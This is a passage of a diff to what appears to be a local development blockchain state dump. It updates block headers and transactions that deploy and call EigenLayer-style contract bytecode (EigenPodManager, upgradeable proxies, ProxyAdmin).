0c9556001600160a01b0383166117705760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a20706f644f776e65722063616e6e6064820152716f74206265207a65726f206164647265737360701b608482015260a40161071d565b61177e633b9aca00836128a3565b156118175760405162461bcd60e51b815260206004820152605a60248201527f456967656e506f644d616e616765722e7265636f7264426561636f6e4368616960448201527f6e45544842616c616e63655570646174653a2073686172657344656c7461206d60648201527f75737420626520612077686f6c65204777656920616d6f756e74000000000000608482015260a40161071d565b6001600160a01b0383166000908152609b60205260408120549061183b84836126ac565b6001600160a01b0386166000908152609b602052604081208290559091506118638383611e0f565b905080156119cb57600081121561192e576001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001663132d49678773beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06118c2856127a5565b6040516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301526044820152606401600060405180830381600087803b15801561191157600080fd5b505af1158015611925573d6000803e3d6000fd5b505050506119cb565b604051631452b9d760e11b81526001600160a01b03878116600483015273beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06024830152604482018390527f000000000000000000000000000000000000000000000000000000000000000016906328a573ae90606401600060405180830381600087803b1580156119b257600080fd5b505af11580156119c6573d6000803e3d6000fd5b505050505b856001600160a01b03166000805160206131f8833981519152866040516119f491815260200190565b60405180910390a25050600160c95550505050565b600054610100900460ff1615808015611a295750600054600160ff909116105b80611a435750303b158015611a43575060005460ff166001145b611aa65760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201526d191e481a5b9a5d1a585b1a5e995960921b606482015260840161071d565b6000805460ff191660011790558015611ac9576000805461ff0019166101001790555b611ad2856121b5565b611adb84611fa2565b611ae583836121ff565b8015611b2b576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b60975460405163321accf960e11b815267ffffffffffffffff8316600482015260009182916001600160a01b039091169063643599f290602401602060405180830381865afa158015611b89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611bad91906128b7565b90508061090b5760405162461bcd60e51b815260206004820152605260248201527f456967656e506f644d616e616765722e676574426c6f636b526f6f744174546960448201527f6d657374616d703a20737461746520726f6f742061742074696d657374616d70606482015271081b9bdd081e595d08199a5b985b1a5e995960721b608482015260a40161071d565b611c45611f48565b6001600160a01b038116611caa5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161071d565b6109c181611fa2565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d06573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d2a91906126d4565b6001600160a01b0316336001600160a01b031614611d5a5760405162461bcd60e51b815260040161071d906126f1565b606654198119606654191614611dd85760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c6974790000000000000000606482015260840161071d565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610af8565b6000808313611e2f5760008213611e285750600061090b565b508061090b565b60008213611e4757611e40836127a5565b905061090b565b611e40838361287c565b6001600160a01b038116611edf5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a40161071d565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6033546001600160a01b031633146111345760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161071d565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6000609960008154612005906128d0565b9091555060408051610940810190915261090e8082526000916120a491839133916128ea6020830139604080516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000166020820152808201919091526000606082015260800160408051601f19818403018152908290526120909291602001612867565b6040516020818303038152906040526122e9565b60405163189acdbd60e31b81523360048201529091506001600160a01b0382169063c4d66de890602401600060405180830381600087803b1580156120e857600080fd5b505af11580156120fc573d6000803e3d6000fd5b50503360008181526098602052604080822080546001600160a01b0319166001600160a01b038816908117909155905192945092507f21c99d0db02213c32fff5b05cf0a718ab5f858802b91498f80d82270289d856a91a3919050565b604080516001600160f81b03196020808301919091526bffffffffffffffffffffffff193060601b16602183015260358201859052605580830185905283518084039091018152607590920190925280519101206000906113d8565b609780546001600160a01b0319166001600160a01b0383169081179091556040517f08f0470754946ccfbb446ff7fd2d6ae6af1bbdae19f85794c0cc5ed5e8ceb4f690600090a250565b6065546001600160a01b031615801561222057506001600160a01b03821615155b6122a25760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a40161071d565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a26122e582611e51565b5050565b6000808447101561233c5760405162461bcd60e51b815260206004820152601d60248201527f437265617465323a20696e73756666696369656e742062616c616e6365000000604482015260640161071d565b825160000361238d5760405162461bcd60e51b815260206004820181905260248201527f437265617465323a2062797465636f6465206c656e677468206973207a65726f604482015260640161071d565b8383516020850187f590506001600160a01b0381166123ee5760405162461bcd60e51b815260206004820152601960248201527f437265617465323a204661696c6564206f6e206465706c6f7900000000000000604482015260640161071d565b949350505050565b6001600160a01b03811681146109c157600080fd5b6000806040838503121561241e57600080fd5b8235612429816123f6565b946020939093013593505050565b60006020828403121561244957600080fd5b81356113d8816123f6565b60006020828403121561246657600080fd5b5035919050565b60008060006060848603121561248257600080fd5b833561248d816123f6565b9250602084013561249d816123f6565b929592945050506040919091013590565b6000602082840312156124c057600080fd5b813567ffffffffffffffff811681146113d857600080fd5b6000602082840312156124ea57600080fd5b813560ff811681146113d857600080fd5b60008083601f84011261250d57600080fd5b50813567ffffffffffffffff81111561252557600080fd5b60208301915083602082850101111561253d57600080fd5b9250929050565b60008060008060006060868803121561255c57600080fd5b853567ffffffffffffffff81111561257357600080fd5b61257f888289016124fb565b909650945050602086013567ffffffffffffffff81111561259f57600080fd5b6125ab888289016124fb565b96999598509660400135949350505050565b600080600080608085870312156125d357600080fd5b84356125de816123f6565b935060208501356125ee816123f6565b925060408501356125fe816123f6565b9396929550929360600135925050565b602080825260409082018190527f456967656e506f644d616e616765722e6f6e6c7944656c65676174696f6e4d61908201527f6e616765723a206e6f74207468652044656c65676174696f6e4d616e61676572606082015260800190565b634e487b7160e01b600052601260045260246000fd5b6000826126915761269161266c565b500690565b634e487b7160e01b600052601160045260246000fd5b80820182811260008312801582168215821617156126cc576126cc612696565b505092915050565b6000602082840312156126e657600080fd5b81516113d8816123f6565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60006020828403121561274d57600080fd5b815180151581146113d857600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000600160ff1b82016127ba576127ba612696565b5060000390565b8181038181111561090b5761090b612696565b81835281816020850137506000828201602090810191909152601f909101601f19169091010190565b6060815260006128116060830187896127d4565b82810360208401526128248186886127d4565b9150508260408301529695505050505050565b6000815160005b81811015612858576020818501810151868301520161283e565b50600093019283525090919050565b60006123ee6128768386612837565b84612837565b818103600083128015838313168383128216171561289c5761289c612696565b5092915050565b6000826128b2576128b261266c565b500790565b6000602082840312156128c957600080fd5b5051919050565b6000600182016128e2576128e2612696565b506001019056fe608060405260405161090e38038061090e83398101604081905261002291610460565b61002e82826000610035565b505061058a565b61003e83610100565b6040516001600160a01b038416907f1cf3b03a6cf19fa2baba4df148e9dcabedea7f8a5c07840e207e5c089be95d3e90600090a260008251118061007f5750805b156100fb576100f9836001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100c5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e99190610520565b836102a360201b6100291760201c565b505b505050565b610113816102cf60201b6100551760201c565b6101725760405162461bcd60e51b815260206004820152602560248201527f455243313936373a206e657720626561636f6e206973206e6f74206120636f6e6044820152641d1c9858dd60da1b60648201526084015b60405180910390fd5b6101e6816001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156101b3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101d79190610520565b6102cf60201b6100551760201c565b61024b5760405162461bcd60e51b815260206004820152603060248201527f455243313936373a20626561636f6e20696d706c656d656e746174696f6e206960448201526f1cc81b9bdd08184818dbdb9d1c9858dd60821b6064820152608401610169565b806102827fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d5060001b6102de60201b6100641760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b60606102c883836040518060600160405280602781526020016108e7602791396102e1565b9392505050565b6001600160a01b03163b151590565b90565b6060600080856001600160a01b0316856040516102fe919061053b565b600060405180830381855af49150503d8060008114610339576040519150601f19603f3d011682016040523d82523d6000602084013e61033e565b606091505b5090925090506103508683838761035a565b9695505050505050565b606083156103c65782516103bf576001600160a01b0385163b6103bf5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610169565b50816103d0565b6103d083836103d8565b949350505050565b8151156103e85781518083602001fd5b8060405162461bcd60e51b81526004016101699190610557565b80516001600160a01b038116811461041957600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b8381101561044f578181015183820152602001610437565b838111156100f95750506000910152565b6000806040838503121561047357600080fd5b61047c83610402565b60208401519092506001600160401b038082111561049957600080fd5b818501915085601f8301126104ad57600080fd5b8151818111156104bf576104bf61041e565b604051601f8201601f19908116603f011681019083821181831017156104e7576104e761041e565b8160405282815288602084870101111561050057600080fd5b610511836020830160208801610434565b80955050505050509250929050565b60006020828403121561053257600080fd5b6102c882610402565b6000825161054d818460208701610434565b9190910192915050565b6020815260008251806020840152610576816040850160208701610434565b601f01601f19169190910160400192915050565b61034e806105996000396000f3fe60806040523661001357610011610017565b005b6100115b610027610022610067565b610100565b565b606061004e83836040518060600160405280602781526020016102f260279139610124565b9392505050565b6001600160a01b03163b151590565b90565b600061009a7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50546001600160a01b031690565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156100d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100fb9190610249565b905090565b3660008037600080366000845af43d6000803e80801561011f573d6000f35b3d6000fd5b6060600080856001600160a01b03168560405161014191906102a2565b600060405180830381855af49150503d806000811461017c576040519150601f19603f3d011682016040523d82523d6000602084013e610181565b606091505b50915091506101928683838761019c565b9695505050505050565b6060831561020d578251610206576001600160a01b0385163b6102065760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000060448201526064015b60405180910390fd5b5081610217565b610217838361021f565b949350505050565b81511561022f5781518083602001fd5b8060405162461bcd60e51b81526004016101fd91906102be565b60006020828403121561025b57600080fd5b81516001600160a01b038116811461004e57600080fd5b60005b8381101561028d578181015183820152602001610275565b8381111561029c576000848401525b50505050565b600082516102b4818460208701610272565b9190910192915050565b60208152600082518060208401526102dd816040850160208701610272565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220d51e81d3bc5ed20a26aeb05dce7e825c503b2061aa78628027300c8d65b9d89a64736f6c634300080c0033416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65644e2b791dedccd9fb30141b088cabf5c14a8912b52f59375c95c010700b8c6193456967656e506f644d616e616765722e77697468647261775368617265734173a26469706673582212207ff0786e5c0a24739a386958aed54016658ca50211cd889cffa9bed27003964664736f6c634300081b00330000000000000000000000004242424242424242424242424242424242424242000000000000000000000000b7f8bc63bbcad18155201308c8f3540b07f84f5e000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9000000000000000000000000a513e6e4b8f2a923d98304ec87f64353c4d5c853000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc9", + "r": "0x558a7328c77e8d8af8ccacd7278c6f53c0982409415dbf855535736fd1244e52", + "s": "0x4f6c0f5c3d5462bd0c49f3b5ba1d06464330db3c0d97fe89a32ecc8906309e63", "yParity": "0x1", - "hash": "0xbd915f86d3825918e7b3e23f3a26470ab72a7643e95da39926f2f79c5e79e809" - } - }, - "impersonated_sender": null - }, - { - "transaction": { - "EIP1559": { - "chainId": "0x7a69", - "nonce": "0x1c", - "gas": "0xb5dcb", - "maxFeePerGas": "0x77359401", - "maxPriorityFeePerGas": "0x1", - "value": "0x0", - "accessList": [], - "input": "0x6080604052604051610d78380380610d78833981016040819052610022916103e7565b828161003082826000610044565b5061003c905082610070565b50505061050c565b61004d836100de565b60008251118061005a5750805b1561006b57610069838361011e565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6100b0600080516020610d31833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16100db8161014a565b50565b6100e7816101e6565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b60606101438383604051806060016040528060278152602001610d516027913961027a565b9392505050565b6001600160a01b0381166101b45760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b80600080516020610d318339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102535760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016101ab565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6101c5565b60606001600160a01b0384163b6102e25760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016101ab565b600080856001600160a01b0316856040516102fd91906104bd565b600060405180830381855af49150503d8060008114610338576040519150601f19603f3d011682016040523d82523d6000602084013e61033d565b606091505b50909250905061034e828286610358565b9695505050505050565b60608315610367575081610143565b8251156103775782518084602001fd5b8160405162461bcd60e51b81526004016101ab91906104d9565b80516001600160a01b03811681146103a857600080fd5b919050565b634e487b7160e01b600052604160045260246000fd5b60005b838110156103de5781810151838201526020016103c6565b50506000910152565b6000806000606084860312156103fc57600080fd5b61040584610391565b925061041360208501610391565b60408501519092506001600160401b0381111561042f57600080fd5b8401601f8101861361044057600080fd5b80516001600160401b03811115610459576104596103ad565b604051601f8201601f19908116603f011681016001600160401b0381118282101715610487576104876103ad565b60405281815282820160200188101561049f57600080fd5b6104b08260208301602086016103c3565b8093505050509250925092565b600082516104cf8184602087016103c3565b9190910192915050565b60208152600082518060208401526104f88160408501602087016103c3565b601f01601f19169190910160400192915050565b6108168061051b6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106a6565b610118565b61005b6100933660046106c1565b610155565b3480156100a457600080fd5b506100ad6101bc565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106a6565b6101ed565b3480156100f557600080fd5b506100ad61020d565b61010661022e565b6101166101116102c3565b6102cd565b565b6101206102f1565b6001600160a01b0316330361014d5761014a81604051806020016040528060008152506000610324565b50565b61014a6100fe565b61015d6102f1565b6001600160a01b031633036101b4576101af8383838080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525060019250610324915050565b505050565b6101af6100fe565b60006101c66102f1565b6001600160a01b031633036101e2576101dd6102c3565b905090565b6101ea6100fe565b90565b6101f56102f1565b6001600160a01b0316330361014d5761014a8161034f565b60006102176102f1565b6001600160a01b031633036101e2576101dd6102f1565b6102366102f1565b6001600160a01b031633036101165760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b60006101dd6103a3565b3660008037600080366000845af43d6000803e8080156102ec573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b61032d836103cb565b60008251118061033a5750805b156101af57610349838361040b565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6103786102f1565b604080516001600160a01b03928316815291841660208301520160405180910390a161014a81610437565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc610315565b6103d4816104e0565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b606061043083836040518060600160405280602781526020016107ba60279139610574565b9392505050565b6001600160a01b03811661049c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084016102ba565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b61054d5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016102ba565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104bf565b60606001600160a01b0384163b6105dc5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016102ba565b600080856001600160a01b0316856040516105f7919061076a565b600060405180830381855af49150503d8060008114610632576040519150601f19603f3d011682016040523d82523d6000602084013e610637565b606091505b5091509150610647828286610651565b9695505050505050565b60608315610660575081610430565b8251156106705782518084602001fd5b8160405162461bcd60e51b81526004016102ba9190610786565b80356001600160a01b03811681146106a157600080fd5b919050565b6000602082840312156106b857600080fd5b6104308261068a565b6000806000604084860312156106d657600080fd5b6106df8461068a565b9250602084013567ffffffffffffffff8111156106fb57600080fd5b8401601f8101861361070c57600080fd5b803567ffffffffffffffff81111561072357600080fd5b86602082840101111561073557600080fd5b939660209190910195509293505050565b60005b83811015610761578181015183820152602001610749565b50506000910152565b6000825161077c818460208701610746565b9190910192915050565b60208152600082518060208401526107a5816040850160208701610746565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220382403f9f1ed20a5a1d1c5dbd9a1753b13344687a8aec46834674bad6791d34064736f6c634300081c0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000009fe46736679d2d9a65f0992f2272de9f3c7fa6e00000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa300000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000", - "r": "0xef20cbe4386a5e2c3a61dea0f1bc86a5dafb9af35a2ba65f20ff3d604c92dc81", - "s": "0x7023303ac677b33a3199e9e5d77edd07b3bfc09895dbd6e01c41d21fdaf8672e", - "yParity": "0x0", - "hash": "0x2c639a7ffaf188e645bdd0f62c0f0b303593a3b144b04842affe5a3b4f3f4eef" + "hash": "0x9df730c443d92dfe2e29174fa911531116d270bf29cc55981068a8a89b1de078" } }, "impersonated_sender": null @@ -740,22 +769,22 @@ }, { "header": { - "parentHash": "0x387091f56f1653774772f1ea803176dc1928c742d7262bc0cb3544af8485e8e7", + "parentHash": "0x7bb83840dc25b6baee1983d47c2cd54aaf16a8d85dec26e3b66f3710b137b3dd", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0xee354031feb1bf068341a19d9a593dcd042a3452fbb54823031054235114be37", - "transactionsRoot": "0x61500e3f4603ed215ca78fb848e44f63a0589bdf0e5668f45a0b15120ee78255", - "receiptsRoot": "0x2bb2403f19597d172b2cc8aa1599893e87e720894fcbc5e61d614f615aefd879", + "stateRoot": "0xfcc5a3b2dd61bc5b0a373892ba43e6d8d599d93cdfbf4ee3dc95fe768075f72e", + "transactionsRoot": "0x573fe7e71a428558c19ea5dc106ebdd59c07d1b51a3243f0f9bd4ea9ed385fab", + "receiptsRoot": "0x58b92dbb5e313a188be8d0f6bc86a127d87ad8340156482f230ad5ea529c31f2", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000040020000000000000100000800000000000000000000000000000000400000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000000000000000000040000000200000000000000000000000002000000000000000000020000000000000000000000000000000000000000000000000000000000000000000", + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000002000000000000000000000000000000000000000000000000000000100000004000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000800000000000000000000000000000000000000000000000000000001000000000100000000000000", "difficulty": "0x0", - "number": "0x1", + "number": "0x1b", "gasLimit": "0x1c9c380", - "gasUsed": "0x6c389", - "timestamp": "0x67212bff", + "gasUsed": "0xed6a", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x3b9aca00", + "baseFeePerGas": "0x280f35b", "blobGasUsed": "0x0", "excessBlobGas": "0x0", "parentBeaconBlockRoot": "0x0000000000000000000000000000000000000000000000000000000000000000", @@ -766,17 +795,18 @@ "transaction": { "EIP1559": { "chainId": "0x7a69", - "nonce": "0x0", - "gas": "0x8ca6a", + "nonce": "0x1e", + "gas": "0x15b37", "maxFeePerGas": "0x77359401", "maxPriorityFeePerGas": "0x1", + "to": "0xdc64a140aa3e981100a9beca4e685f962f0cf6c9", "value": "0x0", "accessList": [], - "input": "0x6080604052348015600f57600080fd5b50601733601b565b606b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61069a8061007a6000396000f3fe60806040526004361061007b5760003560e01c80639623609d1161004e5780639623609d1461011157806399a88ec414610124578063f2fde38b14610144578063f3b7dead1461016457600080fd5b8063204e1c7a14610080578063715018a6146100bc5780637eff275e146100d35780638da5cb5b146100f3575b600080fd5b34801561008c57600080fd5b506100a061009b366004610499565b610184565b6040516001600160a01b03909116815260200160405180910390f35b3480156100c857600080fd5b506100d1610215565b005b3480156100df57600080fd5b506100d16100ee3660046104bd565b610229565b3480156100ff57600080fd5b506000546001600160a01b03166100a0565b6100d161011f36600461050c565b610291565b34801561013057600080fd5b506100d161013f3660046104bd565b610300565b34801561015057600080fd5b506100d161015f366004610499565b610336565b34801561017057600080fd5b506100a061017f366004610499565b6103b4565b6000806000836001600160a01b03166040516101aa90635c60da1b60e01b815260040190565b600060405180830381855afa9150503d80600081146101e5576040519150601f19603f3d011682016040523d82523d6000602084013e6101ea565b606091505b5091509150816101f957600080fd5b8080602001905181019061020d91906105ea565b949350505050565b61021d6103da565b6102276000610434565b565b6102316103da565b6040516308f2839760e41b81526001600160a01b038281166004830152831690638f283970906024015b600060405180830381600087803b15801561027557600080fd5b505af1158015610289573d6000803e3d6000fd5b505050505050565b6102996103da565b60405163278f794360e11b81526001600160a01b03841690634f1ef2869034906102c99086908690600401610607565b6000604051808303818588803b1580156102e257600080fd5b505af11580156102f6573d6000803e3d6000fd5b5050505050505050565b6103086103da565b604051631b2ce7f360e11b81526001600160a01b038281166004830152831690633659cfe69060240161025b565b61033e6103da565b6001600160a01b0381166103a85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b6103b181610434565b50565b6000806000836001600160a01b03166040516101aa906303e1469160e61b815260040190565b6000546001600160a01b031633146102275760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039f565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b03811681146103b157600080fd5b6000602082840312156104ab57600080fd5b81356104b681610484565b9392505050565b600080604083850312156104d057600080fd5b82356104db81610484565b915060208301356104eb81610484565b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b60008060006060848603121561052157600080fd5b833561052c81610484565b9250602084013561053c81610484565b9150604084013567ffffffffffffffff81111561055857600080fd5b8401601f8101861361056957600080fd5b803567ffffffffffffffff811115610583576105836104f6565b604051601f8201601f19908116603f0116810167ffffffffffffffff811182821017156105b2576105b26104f6565b6040528181528282016020018810156105ca57600080fd5b816020840160208301376000602083830101528093505050509250925092565b6000602082840312156105fc57600080fd5b81516104b681610484565b60018060a01b0383168152604060208201526000825180604084015260005b818110156106435760208186018101516060868401015201610626565b506000606082850101526060601f19601f830116840101915050939250505056fea26469706673582212202a25c113a0c89ae9cdec45156ac7a705552559358051c68fc6aad769f491533264736f6c634300081c0033", - "r": "0x363c7f14241cdfc26b710a503266f0cc236dcfaa041c0a45ab3a72335504c51d", - "s": "0x351be9499103db1ea7cb3d1ca934c1ccd2ea035669a26d272fcf7f883fd82d72", + "input": "0xdf5b3547000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000c5a5c42992decbae36851359345fe25997f5c42d00000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000", + "r": "0xdaeb2a4acde0a569e0b0c8f5bb5509413a47c007de0f22b2effb3e935bdb203b", + "s": "0x368e5050d975862c128fe3983107c1808f99fb459612cc981d12161d6281731e", "yParity": "0x1", - "hash": "0x51e3b6ec5dce1003f9129d8ba4e6e8efe484f2334549a0618ce1c15d7e357f5f" + "hash": "0xd44073f051108c8f3c39edf183d0bcaea084672b414c2374c6d6750e9ef9fa27" } }, "impersonated_sender": null @@ -786,22 +816,22 @@ }, { "header": { - "parentHash": "0x2465bb6de9b0073caa5fe1cfb498c2bc831cc45badaa467b422948466e290767", + "parentHash": "0x4ea0729e74d5a298116eb8b727ff38f2b4165bf543d19afc4c79f962eee391f3", "ommersHash": "0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347", "beneficiary": "0x0000000000000000000000000000000000000000", - "stateRoot": "0x276fa97ba4f982f83e991b459924e8c546c0182d914b03f5f7a9e9ae8dcc25f1", - "transactionsRoot": "0xe4de0e1967f9f359ffbcdbf82a6e36c1b64b97fdb54667a6789f32475adba769", - "receiptsRoot": "0xfc912922b1e8e658560a8769df0c1b6a5cbd2c8f435ba057e2d8b9ffcc7917c3", + "stateRoot": "0x97a389a0194f03c45633d0381d5751d722de8e9b09c7860c4babbd4867da11de", + "transactionsRoot": "0x62ca55910dd84a131407374e2ceb6c9d8279bf0bf2ede0190f1c3489dff5117a", + "receiptsRoot": "0x57d83bc9f4e60e94621ce74dfa3cd01518d8a3e5101375def990c6446a91ee1a", "withdrawalsRoot": "0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421", - "logsBloom": "0x00000000000000000000000000000000400000000000000000000000000000000000000000000000000400000000000000400000000000000000000000000000000000000000000000000000000002000000000000000000000000000000400000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000000000040000000000000800000000000000000000000000000000040000000000000000000000000000000008000000020000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", "difficulty": "0x0", - "number": "0x5", + "number": "0x3", "gasLimit": "0x1c9c380", - "gasUsed": "0x8bf2e", - "timestamp": "0x67212bff", + "gasUsed": "0x13529", + "timestamp": "0x672a8e17", "mixHash": "0x0000000000000000000000000000000000000000000000000000000000000000", "nonce": "0x0000000000000000", - "baseFeePerGas": "0x24314552", + "baseFeePerGas": "0x2df9a224", "blobGasUsed": "0x0", "excessBlobGas": "0x0", 